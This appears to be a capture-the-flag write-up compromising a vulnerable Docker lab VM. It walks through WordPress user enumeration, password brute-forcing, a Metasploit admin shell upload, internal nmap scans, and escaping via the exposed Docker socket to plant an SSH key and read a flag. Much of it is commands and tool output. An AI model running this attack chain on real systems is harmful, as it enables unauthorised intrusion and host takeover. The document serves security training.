Since this is running WordPress, the standard WPScan flags to enumerate
information were used. Nothing relevant popped besides its users:
123456789
[snip][+] Enumerating usernames ...[+] Identified the following 1 user/s: +----+-------+-----------------+ | Id | Login | Name | +----+-------+-----------------+ | 1 | bob | bob _ NotSoEasy | +----+-------+-----------------+[snip]
With this, brute-forcing seemed the next logical step. Used the rockyou wordlist
to obtain the password:
1234567
[snip]+----+-------+------+----------+| Id | Login | Name | Password |+----+-------+------+----------+| | bob | | Welcome1 |+----+-------+------+----------+[snip]
Logging in reveals the first flag in a WordPress draft:
Decided with using Metasploit for an interactive shell:
123456
msf > use exploit/unix/webapp/wp_admin_shell_uploadmsf exploit(wp_admin_shell_upload) > set password Welcome1msf exploit(wp_admin_shell_upload) > set rhost ...msf exploit(wp_admin_shell_upload) > set rport 8000msf exploit(wp_admin_shell_upload) > set user bobmsf exploit(wp_admin_shell_upload) > run
After unsuccessfully scouring the Web for an exploit that affected this kernel
version, tried to horizontally escalate privileges by finding containers on the
same user-defined network. To obtain more reliable results, a statically
compiled nmap was sent to the machine to perform a ping sweep and a TCP scan.
1234567891011
Starting Nmap 7.11 ( https://nmap.org ) at 2017-11-01 09:46 UTCCannot find nmap-payloads. UDP payloads are disabled.Nmap scan report for 172.18.0.1Host is up (0.00053s latency).Nmap scan report for content_db_1.content_default (172.18.0.2)Host is up (0.00040s latency).Nmap scan report for content_ssh_1.content_default (172.18.0.3)Host is up (0.00029s latency).Nmap scan report for 8f4bca8ef241 (172.18.0.4)Host is up (0.00025s latency).Nmap done: 256 IP addresses (4 hosts up) scanned in 2.97 seconds
1234567891011121314151617181920212223242526272829
Starting Nmap 7.11 ( https://nmap.org ) at 2017-11-01 10:02 UTCCannot find nmap-payloads. UDP payloads are disabled.Nmap scan report for 172.18.0.1Host is up (0.00016s latency).Not shown: 65533 closed portsPORT STATE SERVICE22/tcp open ssh8000/tcp open http-altNmap scan report for content_db_1.content_default (172.18.0.2)Host is up (0.00049s latency).Not shown: 65534 closed portsPORT STATE SERVICE3306/tcp open mysqlNmap scan report for content_ssh_1.content_default (172.18.0.3)Host is up (0.00047s latency).Not shown: 65533 closed portsPORT STATE SERVICE22/tcp open ssh8022/tcp open oa-systemNmap scan report for 8f4bca8ef241 (172.18.0.4)Host is up (0.00015s latency).Not shown: 65534 closed portsPORT STATE SERVICE80/tcp open httpNmap done: 4 IP addresses (4 hosts up) scanned in 6.19 seconds
Scanning revealed a potential target with port 8022/tcp open. Reaching it is
possible with meterpreter port-forwarding:
Accessing it on a browser spawns a shell on the DB container as root. While
enumerating this new container, noticed that the Docker socket is available in
the /var/run directory, thus, giving full control of the daemon on the host.
12
/ $ iduid=0(root) gid=0(root) groups=0(root)
Since the vulnerable Virtual Machine wasn’t started with NAT configured, to
interact with the UNIX domain socket, a locally and statically compiled cURL
was sent as base64 to the remote machine as a WordPress draft and extracted
with the MySQL client:
123
/ $ mysql -h 127.0.0.1 -u wordpress \ -e 'select post_content from wordpress.wp_posts where ID = 151' \ -p >curl
Next a container with a host bind mount was created and started by using the
REST API:
With a container created with full access to the host root directory under /srv,
it is only a matter of creating a tarball with a SSH public key (which can be
uploaded using the same method as above):
Connecting via SSH on the externally standard available port:
1234
root@vulndocker:/# id
uid=0(root) gid=0(root) groups=0(root)root@vulndocker:/# head -n1 flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6